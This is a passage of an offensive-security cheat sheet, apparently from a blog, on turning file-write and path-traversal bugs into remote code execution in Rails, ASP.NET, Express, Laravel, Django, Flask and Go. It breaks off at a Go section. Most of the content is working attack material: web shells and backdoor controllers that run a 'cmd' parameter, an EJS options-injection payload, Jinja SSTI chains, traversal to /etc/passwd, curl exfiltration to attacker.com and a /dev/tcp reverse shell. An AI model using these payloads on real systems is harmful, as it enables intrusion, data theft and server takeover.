<h3 id="exact-template-path-overwrites">Exact Template Path Overwrites</h3>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1"># config/routes.rb - NO wildcards</span>
  <span class="n">get</span> <span class="s1">'/users/profile'</span><span class="p">,</span> <span class="ss">to: </span><span class="s1">'users#profile'</span>
</code></pre></div></div>

<p><strong>Attack scenario</strong>:</p>
<ul>
  <li>Attacker has file-write capability via separate vulnerability</li>
  <li>Writes malicious template to EXACT expected path: app/views/users/profile.html.erb
    <div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="sx">%= system("curl http://attacker.com/?data=</span><span class="err">$</span><span class="p">(</span><span class="n">whoami</span><span class="p">)</span><span class="s2">") %&gt;
</span></code></pre></div>    </div>
  </li>
  <li>Request GET /users/profile</li>
  <li>Rails renders the poisoned template → RCE</li>
</ul>

<h3 id="controller-auto-loading-without-wildcard-routes">Controller Auto-loading Without Wildcard Routes</h3>
<p>This is trickier. Modern Rails apps typically use explicit routes, so even if you write:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Attacker writes: app/controllers/backdoor_controller.rb</span>
<span class="k">class</span> <span class="nc">BackdoorController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
	<span class="k">def</span> <span class="nf">evil</span>
	  <span class="n">render</span> <span class="ss">plain: </span><span class="sb">`</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:cmd</span><span class="p">]</span><span class="si">}</span><span class="sb">`</span>
	<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p><strong>Without a route pointing to it</strong>, Rails won’t route requests there. You’d need:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># This route must exist for the attack to work</span>
<span class="n">get</span> <span class="s1">'/backdoor/evil'</span><span class="p">,</span> <span class="ss">to: </span><span class="s1">'backdoor#evil'</span>
</code></pre></div></div>
<p> So without wildcard routing OR existing routes to your malicious controller, Zeitwerk auto-loading alone doesn’t help much.</p>

<h3 id="modifying-existing-templates-not-creating-new-ones">Modifying Existing Templates (Not Creating New Ones)</h3>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err"> </span> <span class="c1"># Existing route</span>
<span class="err"> </span> <span class="n">get</span> <span class="s1">'/dashboard'</span><span class="p">,</span> <span class="ss">to: </span><span class="s1">'home#dashboard'</span>
</code></pre></div></div>

<p>If attacker can <strong>modify</strong> the existing template:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;!--</span> <span class="n">app</span><span class="o">/</span><span class="n">views</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dashboard</span><span class="p">.</span><span class="nf">html</span><span class="p">.</span><span class="nf">erb</span> <span class="o">-</span> <span class="no">MODIFIED</span> <span class="o">--&gt;</span>
<span class="o">&lt;</span><span class="n">h1</span><span class="o">&gt;</span><span class="no">Dashboard</span><span class="o">&lt;</span><span class="sr">/h1&gt;
&lt;%= system(params[:cmd]) if params[:cmd] %&gt;  &lt;!-- Attacker added this --&gt;
</span></code></pre></div></div>
<p>Request: GET /dashboard?cmd=whoami → RCE,  but this requires modifying existing files, not just creating new ones.</p>

<h3 id="with-wildcard-routing-cve-2014-0130">With Wildcard Routing (CVE-2014-0130):</h3>

<p>get ‘/render/*action’, controller: ‘pages’
Attacker can:</p>
<ul>
  <li>Write file ANYWHERE: public/uploads/evil.erb, /tmp/evil.erb, etc.</li>
  <li>Use path traversal in URL: GET /render/../../public/uploads/evil</li>
  <li>Rails resolves the path and renders it</li>
  <li>High flexibility in file placement</li>
</ul>

<h3 id="without-wildcard-routing">Without Wildcard Routing:</h3>

<p>get ‘/profile’, to: ‘users#profile’
Attacker must:</p>
<ul>
  <li>Write file to EXACT location: app/views/users/profile.html.erb</li>
  <li>No path traversal possible via URL</li>
  <li>Much more constrained - needs to know exact route-to-template mapping</li>
  <li>Low flexibility - must predict exact paths</li>
</ul>

<p>The wildcard routing is what makes it a “weaponized” vulnerability (CVE-worthy), but the fundamental framework behavior (auto-rendering templates) is still an attack surface even without wildcards.</p>

<h1 id="cheat-sheet---the-long-version">Cheat Sheet - The long version</h1>
<h2 id="cross-framework-exploitation-guide">Cross-Framework Exploitation Guide</h2>

<p>This cheatsheet covers how file-write vulnerabilities combined with path traversal can lead to Remote Code Execution (RCE) across different web frameworks by exploiting framework-level file resolution mechanisms.</p>

<hr />

<h2 id="quick-reference-table">Quick Reference Table</h2>

<table>
  <thead>
    <tr>
      <th>Framework</th>
      <th>File Extension</th>
      <th>Auto-Execution</th>
      <th>Wildcard Vuln</th>
      <th>Difficulty</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>ASP.NET MVC</strong></td>
      <td><code class="language-plaintext highlighter-rouge">.cshtml</code></td>
      <td>Yes (Razor)</td>
      <td>View Engine patterns</td>
      <td>Medium</td>
    </tr>
    <tr>
      <td><strong>Ruby on Rails</strong></td>
      <td><code class="language-plaintext highlighter-rouge">.erb</code>, <code class="language-plaintext highlighter-rouge">.rb</code></td>
      <td>Yes (ERB/Zeitwerk)</td>
      <td><code class="language-plaintext highlighter-rouge">*action</code>, <code class="language-plaintext highlighter-rouge">*controller</code></td>
      <td>Medium</td>
    </tr>
    <tr>
      <td><strong>Node.js/Express</strong></td>
      <td><code class="language-plaintext highlighter-rouge">.ejs</code>, <code class="language-plaintext highlighter-rouge">.hbs</code></td>
      <td>Yes (Template engines)</td>
      <td>View options injection</td>
      <td>Easy</td>
    </tr>
    <tr>
      <td><strong>PHP/Laravel</strong></td>
      <td><code class="language-plaintext highlighter-rouge">.blade.php</code>, <code class="language-plaintext highlighter-rouge">.php</code></td>
      <td>Yes (Blade/Include)</td>
      <td>Route parameters</td>
      <td>Easy</td>
    </tr>
    <tr>
      <td><strong>Python/Django</strong></td>
      <td><code class="language-plaintext highlighter-rouge">.py</code>, <code class="language-plaintext highlighter-rouge">.html</code></td>
      <td>Partial (SSTI, <code class="language-plaintext highlighter-rouge">__init__.py</code>)</td>
      <td>Template injection</td>
      <td>Hard</td>
    </tr>
    <tr>
      <td><strong>Python/Flask</strong></td>
      <td><code class="language-plaintext highlighter-rouge">.py</code>, <code class="language-plaintext highlighter-rouge">.html</code></td>
      <td>Partial (SSTI, <code class="language-plaintext highlighter-rouge">__init__.py</code>)</td>
      <td>Template injection</td>
      <td>Hard</td>
    </tr>
    <tr>
      <td><strong>Go/Gin/Echo</strong></td>
      <td><code class="language-plaintext highlighter-rouge">.tmpl</code>, <code class="language-plaintext highlighter-rouge">.html</code></td>
      <td>No (Manual parse)</td>
      <td>SSTI gadgets</td>
      <td>Very Hard</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="step-1-understanding-framework-file-resolution">Step 1: Understanding Framework File Resolution</h2>

<h3 id="aspnet-mvc">ASP.NET MVC</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>View() → Searches: ~/Views/{Controller}/{Action}.cshtml
Uses: Internal File.Exists() → Bypasses IIS filtering
</code></pre></div></div>

<p><strong>Predictable Paths:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">~/Views/Home/Index.cshtml</code></li>
  <li><code class="language-plaintext highlighter-rouge">~/Views/Shared/_Layout.cshtml</code></li>
  <li><code class="language-plaintext highlighter-rouge">~/Areas/{Area}/Views/{Controller}/{Action}.cshtml</code></li>
</ul>

<p><strong>Example:</strong></p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="n">ActionResult</span> <span class="nf">Profile</span><span class="p">()</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="nf">View</span><span class="p">();</span> <span class="c1">// Searches: ~/Views/Home/Profile.cshtml</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h3 id="ruby-on-rails">Ruby on Rails</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Implicit Render → Searches: app/views/{controller}/{action}.{format}.erb
Zeitwerk Auto-loading → app/controllers/{name}_controller.rb → NameController
Uses: Framework file operations → Bypasses Rack/web server filtering
</code></pre></div></div>

<p><strong>Predictable Paths:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">app/views/users/profile.html.erb</code></li>
  <li><code class="language-plaintext highlighter-rouge">app/controllers/admin/users_controller.rb</code> → <code class="language-plaintext highlighter-rouge">Admin::UsersController</code></li>
  <li><code class="language-plaintext highlighter-rouge">app/models/user.rb</code> → <code class="language-plaintext highlighter-rouge">User</code></li>
</ul>

<p><strong>Example:</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">UsersController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
  <span class="k">def</span> <span class="nf">profile</span>
    <span class="c1"># Implicit render: app/views/users/profile.html.erb</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<hr />

<h3 id="nodejsexpress">Node.js/Express</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>res.render('view', data) → Searches: views/{view}.{engine}
Uses: require() for engines → Bypasses static file serving
</code></pre></div></div>

<p><strong>Predictable Paths:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">views/index.ejs</code></li>
  <li><code class="language-plaintext highlighter-rouge">views/users/profile.hbs</code></li>
  <li><code class="language-plaintext highlighter-rouge">views/layouts/main.ejs</code></li>
</ul>

<p><strong>Example:</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/profile</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="dl">'</span><span class="s1">profile</span><span class="dl">'</span><span class="p">,</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">);</span> <span class="c1">// Dangerous!</span>
<span class="p">});</span>
</code></pre></div></div>

<hr />

<h3 id="phplaravel">PHP/Laravel</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>view('name') → Searches: resources/views/{name}.blade.php
Uses: include/require → Bypasses web server restrictions
</code></pre></div></div>

<p><strong>Predictable Paths:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">resources/views/welcome.blade.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">resources/views/users/profile.blade.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">app/Http/Controllers/UserController.php</code></li>
</ul>

<p><strong>Example:</strong></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">profile</span><span class="p">()</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="nf">view</span><span class="p">(</span><span class="s1">'users.profile'</span><span class="p">);</span> <span class="c1">// resources/views/users/profile.blade.php</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h3 id="pythondjango">Python/Django</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>render(request, 'template.html') → Searches: templates/{template.html}
Auto-loading: Not by default (INSTALLED_APPS)
Uses: open() for templates
</code></pre></div></div>

<p><strong>Predictable Paths:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">templates/index.html</code></li>
  <li><code class="language-plaintext highlighter-rouge">app_name/templates/app_name/view.html</code></li>
  <li><code class="language-plaintext highlighter-rouge">{app}/__init__.py</code> (for code execution)</li>
</ul>

<p><strong>Example:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">profile</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">render</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="s">'users/profile.html'</span><span class="p">)</span>
</code></pre></div></div>

<hr />

<h3 id="pythonflask">Python/Flask</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>render_template('template.html') → Searches: templates/{template.html}
Uses: Jinja2 engine → Can exploit SSTI
</code></pre></div></div>

<p><strong>Predictable Paths:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">templates/index.html</code></li>
  <li><code class="language-plaintext highlighter-rouge">templates/users/profile.html</code></li>
  <li><code class="language-plaintext highlighter-rouge">{package}/__init__.py</code> (for code execution)</li>
</ul>

<p><strong>Example:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/profile'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">profile</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'profile.html'</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">)</span>
</code></pre></div></div>

<hr />

<h3 id="goginecho">Go/Gin/Echo</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>c.HTML(200, "template.html", data) → Must explicitly parse templates
No auto-loading → Must template.ParseFiles() first
Uses: Manual file operations
</code></pre></div></div>

<p><strong>Predictable Paths:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">templates/index.tmpl</code></li>
  <li><code class="language-plaintext highlighter-rouge">views/profile.html</code></li>
  <li>Depends on developer configuration</li>
</ul>

<p><strong>Example:</strong></p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">profile</span><span class="p">(</span><span class="n">c</span> <span class="o">*</span><span class="n">gin</span><span class="o">.</span><span class="n">Context</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">c</span><span class="o">.</span><span class="n">HTML</span><span class="p">(</span><span class="m">200</span><span class="p">,</span> <span class="s">"profile.html"</span><span class="p">,</span> <span class="n">gin</span><span class="o">.</span><span class="n">H</span><span class="p">{</span><span class="s">"user"</span><span class="o">:</span> <span class="n">c</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="s">"name"</span><span class="p">)})</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h2 id="step-2-wildcarddynamic-routing-vulnerabilities">Step 2: Wildcard/Dynamic Routing Vulnerabilities</h2>

<h3 id="aspnet-mvc-1">ASP.NET MVC</h3>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// VULNERABLE - Catch-all route</span>
<span class="n">routes</span><span class="p">.</span><span class="nf">MapRoute</span><span class="p">(</span>
    <span class="n">name</span><span class="p">:</span> <span class="s">"CatchAll"</span><span class="p">,</span>
    <span class="n">url</span><span class="p">:</span> <span class="s">"{controller}/{action}/{*path}"</span>
<span class="p">);</span>
</code></pre></div></div>

<p><strong>Attack Vector:</strong> Controller/Action names with path traversal
<strong>Exploitation:</strong> View Engine searches can be manipulated</p>

<hr />

<h3 id="ruby-on-rails-1">Ruby on Rails</h3>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># VULNERABLE - Wildcard action</span>
<span class="n">get</span> <span class="s1">'/pages/*action'</span><span class="p">,</span> <span class="ss">controller: </span><span class="s1">'pages'</span>

<span class="c1"># EXTREMELY DANGEROUS - Wildcard controller</span>
<span class="n">get</span> <span class="s1">'/:controller/:action/:id'</span>
</code></pre></div></div>

<p><strong>Attack Vector:</strong> Direct path traversal via <code class="language-plaintext highlighter-rouge">*action</code> or <code class="language-plaintext highlighter-rouge">*controller</code>
<strong>Exploitation:</strong> <code class="language-plaintext highlighter-rouge">GET /pages/../../../../etc/passwd</code></p>

<hr />

<h3 id="nodejsexpress-1">Node.js/Express</h3>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// VULNERABLE - User-controlled render options</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/render/:page</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">page</span><span class="p">,</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">);</span> <span class="c1">// req.query passed as options!</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>Attack Vector:</strong> Template engine options injection
<strong>Exploitation:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /render/profile?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('calc');//
</code></pre></div></div>

<hr />

<h3 id="phplaravel-1">PHP/Laravel</h3>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// VULNERABLE - Dynamic view names</span>
<span class="nc">Route</span><span class="o">::</span><span class="nf">get</span><span class="p">(</span><span class="s1">'/page/{name}'</span><span class="p">,</span> <span class="k">function</span> <span class="p">(</span><span class="nv">$name</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nf">view</span><span class="p">(</span><span class="nv">$name</span><span class="p">);</span> <span class="c1">// User-controlled view name!</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>Attack Vector:</strong> Direct view name control with path traversal
<strong>Exploitation:</strong> <code class="language-plaintext highlighter-rouge">GET /page/../../../../config/database</code></p>

<hr />

<h3 id="pythondjango-1">Python/Django</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># VULNERABLE - Dynamic template names
</span><span class="k">def</span> <span class="nf">render_page</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="n">template_name</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">render</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="n">template_name</span><span class="p">)</span>  <span class="c1"># User-controlled!
</span>
<span class="n">urlpatterns</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">path</span><span class="p">(</span><span class="s">'page/&lt;str:template_name&gt;/'</span><span class="p">,</span> <span class="n">render_page</span><span class="p">),</span>
<span class="p">]</span>
</code></pre></div></div>

<p><strong>Attack Vector:</strong> Path traversal in template name
<strong>Exploitation:</strong> <code class="language-plaintext highlighter-rouge">GET /page/../../../../etc/passwd</code></p>

<hr />

<h3 id="pythonflask-1">Python/Flask</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># VULNERABLE - User-controlled templates
</span><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/page/&lt;template&gt;'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">render_page</span><span class="p">(</span><span class="n">template</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="n">template</span><span class="p">)</span>  <span class="c1"># User-controlled!
</span></code></pre></div></div>

<p><strong>Attack Vector:</strong> Path traversal in template name
<strong>Exploitation:</strong> <code class="language-plaintext highlighter-rouge">GET /page/../../../../etc/passwd</code></p>

<hr />

<h3 id="goginecho-1">Go/Gin/Echo</h3>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">// VULNERABLE - User-controlled template data with SSTI</span>
<span class="k">func</span> <span class="n">renderPage</span><span class="p">(</span><span class="n">c</span> <span class="o">*</span><span class="n">gin</span><span class="o">.</span><span class="n">Context</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">tmpl</span> <span class="o">:=</span> <span class="n">template</span><span class="o">.</span><span class="n">Must</span><span class="p">(</span><span class="n">template</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="s">"page"</span><span class="p">)</span><span class="o">.</span><span class="n">Parse</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="s">"content"</span><span class="p">)))</span>
    <span class="n">tmpl</span><span class="o">.</span><span class="n">Execute</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">Writer</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>  <span class="c">// User-controlled template content!</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Attack Vector:</strong> Server-Side Template Injection
<strong>Exploitation:</strong> SSTI payloads to read files via framework gadgets</p>

<hr />

<h2 id="step-3-attack-prerequisites">Step 3: Attack Prerequisites</h2>

<table>
  <thead>
    <tr>
      <th>Framework</th>
      <th>Requirement 1</th>
      <th>Requirement 2</th>
      <th>Requirement 3</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>ASP.NET MVC</strong></td>
      <td>File-write capability</td>
      <td>Path traversal to <code class="language-plaintext highlighter-rouge">~/Views/</code></td>
      <td>Trigger View() call</td>
    </tr>
    <tr>
      <td><strong>Ruby on Rails</strong></td>
      <td>File-write capability</td>
      <td>Path traversal to <code class="language-plaintext highlighter-rouge">app/views/</code> or <code class="language-plaintext highlighter-rouge">app/controllers/</code></td>
      <td>Wildcard route OR exact route match</td>
    </tr>
    <tr>
      <td><strong>Node.js/Express</strong></td>
      <td>File-write capability OR</td>
      <td>Options injection</td>
      <td>Render call with user data</td>
    </tr>
    <tr>
      <td><strong>PHP/Laravel</strong></td>
      <td>File-write capability</td>
      <td>Path traversal to <code class="language-plaintext highlighter-rouge">resources/views/</code></td>
      <td>Dynamic view() call</td>
    </tr>
    <tr>
      <td><strong>Python/Django</strong></td>
      <td>File-write to <code class="language-plaintext highlighter-rouge">__init__.py</code></td>
      <td>Path in PYTHONPATH</td>
      <td>Module import trigger</td>
    </tr>
    <tr>
      <td><strong>Python/Flask</strong></td>
      <td>File-write to <code class="language-plaintext highlighter-rouge">__init__.py</code> OR</td>
      <td>SSTI in template</td>
      <td>Debug mode (for auto-reload)</td>
    </tr>
    <tr>
      <td><strong>Go</strong></td>
      <td>SSTI vulnerability</td>
      <td>Framework context in template</td>
      <td>Specific gadgets available</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="step-4-exploitation-payloads">Step 4: Exploitation Payloads</h2>

<h3 id="aspnet-mvc---rce-via-razor-template">ASP.NET MVC - RCE via Razor Template</h3>

<p><strong>Write to:</strong> <code class="language-plaintext highlighter-rouge">~/Views/Home/Backdoor.cshtml</code></p>

<pre><code class="language-cshtml">@{
    var cmd = Request["cmd"];
    if (!string.IsNullOrEmpty(cmd))
    {
        var proc = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo
        {
            FileName = "cmd.exe",
            Arguments = "/c " + cmd,
            RedirectStandardOutput = true,
            UseShellExecute = false
        });
        &lt;pre&gt;@proc.StandardOutput.ReadToEnd()&lt;/pre&gt;
        proc.WaitForExit();
    }
}
</code></pre>

<p><strong>Trigger:</strong> <code class="language-plaintext highlighter-rouge">GET /Home/Backdoor?cmd=whoami</code></p>

<hr />

<h3 id="ruby-on-rails---rce-via-erb-template">Ruby on Rails - RCE via ERB Template</h3>

<p><strong>Write to:</strong> <code class="language-plaintext highlighter-rouge">app/views/pages/backdoor.html.erb</code></p>

<div class="language-erb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;%=</span> <span class="nb">system</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="ss">:cmd</span><span class="p">])</span> <span class="k">if</span> <span class="n">params</span><span class="p">[</span><span class="ss">:cmd</span><span class="p">]</span> <span class="cp">%&gt;</span>
<span class="cp">&lt;%=</span> <span class="sb">`</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:cmd</span><span class="p">]</span><span class="si">}</span><span class="sb">`</span> <span class="k">if</span> <span class="n">params</span><span class="p">[</span><span class="ss">:cmd</span><span class="p">]</span> <span class="cp">%&gt;</span>
</code></pre></div></div>

<p><strong>Trigger (with wildcard):</strong> <code class="language-plaintext highlighter-rouge">GET /pages/backdoor?cmd=whoami</code></p>

<p><strong>Or write to:</strong> <code class="language-plaintext highlighter-rouge">app/controllers/backdoor_controller.rb</code></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">BackdoorController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
  <span class="n">skip_before_action</span> <span class="ss">:verify_authenticity_token</span>

  <span class="k">def</span> <span class="nf">shell</span>
    <span class="n">render</span> <span class="ss">plain: </span><span class="sb">`</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:cmd</span><span class="p">]</span><span class="si">}</span><span class="sb">`</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p><strong>Trigger:</strong> <code class="language-plaintext highlighter-rouge">GET /backdoor/shell?cmd=whoami</code> (requires route)</p>

<hr />

<h3 id="nodejsexpress---rce-via-ejs-options-injection">Node.js/Express - RCE via EJS Options Injection</h3>

<p><strong>No file write needed!</strong> Just exploit render options:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /profile?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl http://attacker.com/?data=$(cat /etc/passwd|base64)');//
</span></code></pre></div></div>

<p><strong>Or write malicious template:</strong> <code class="language-plaintext highlighter-rouge">views/backdoor.ejs</code></p>

<pre><code class="language-ejs">&lt;%= process.mainModule.require('child_process').execSync(query.cmd).toString() %&gt;
</code></pre>

<p><strong>Trigger:</strong> <code class="language-plaintext highlighter-rouge">GET /backdoor?cmd=whoami</code></p>

<hr />

<h3 id="phplaravel---rce-via-blade-template">PHP/Laravel - RCE via Blade Template</h3>

<p><strong>Write to:</strong> <code class="language-plaintext highlighter-rouge">resources/views/backdoor.blade.php</code></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">php</span>
    <span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]))</span> <span class="p">{</span>
        <span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span>
    <span class="p">}</span>
<span class="o">@</span><span class="n">endphp</span>
</code></pre></div></div>

<p><strong>Or simpler:</strong></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p><strong>Trigger:</strong> <code class="language-plaintext highlighter-rouge">GET /page/backdoor?cmd=whoami</code></p>

<hr />

<h3 id="pythondjango---rce-via-__init__py-overwrite">Python/Django - RCE via <code class="language-plaintext highlighter-rouge">__init__.py</code> Overwrite</h3>

<p><strong>Write to:</strong> <code class="language-plaintext highlighter-rouge">{app}/__init__.py</code> or any package in PYTHONPATH</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'curl http://attacker.com/?data=$(whoami)'</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Trigger:</strong> Any request that causes module import (or restart if debug mode)</p>

<p><strong>Alternative - SSTI (if template injection exists):</strong></p>

<div class="language-django highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{​{ request.environ ​}​​​​}
{​{ ''.__class__.__mro__[1].__subclasses__()[396]('whoami', shell=True, stdout=-1).communicate() ​}​​​​}
</code></pre></div></div>

<hr />

<h3 id="pythonflask---rce-via-__init__py-overwrite">Python/Flask - RCE via <code class="language-plaintext highlighter-rouge">__init__.py</code> Overwrite</h3>

<p><strong>Write to:</strong> Flask package <code class="language-plaintext highlighter-rouge">__init__.py</code> or app module</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'bash -c "bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1"'</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Trigger:</strong> Restart or import (debug mode auto-reloads)</p>

<p><strong>Alternative - SSTI:</strong></p>

<pre><code class="language-jinja2">​​{​{config.items() }​}
{​{ ''.__class__.__mro__[1].__subclasses__()[396]('whoami', shell=True, stdout=-1).communicate() ​}​​​​}
{​{ request.environ.get('FLAG') ​}​​​​}
</code></pre>

<hr />

<h3 id="gogin---ssti-file-read-not-rce">Go/Gin - SSTI File Read (Not RCE)</h3>

<p><strong>No file write needed if SSTI exists:</strong></p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">// Gin Framework SSTI</span>
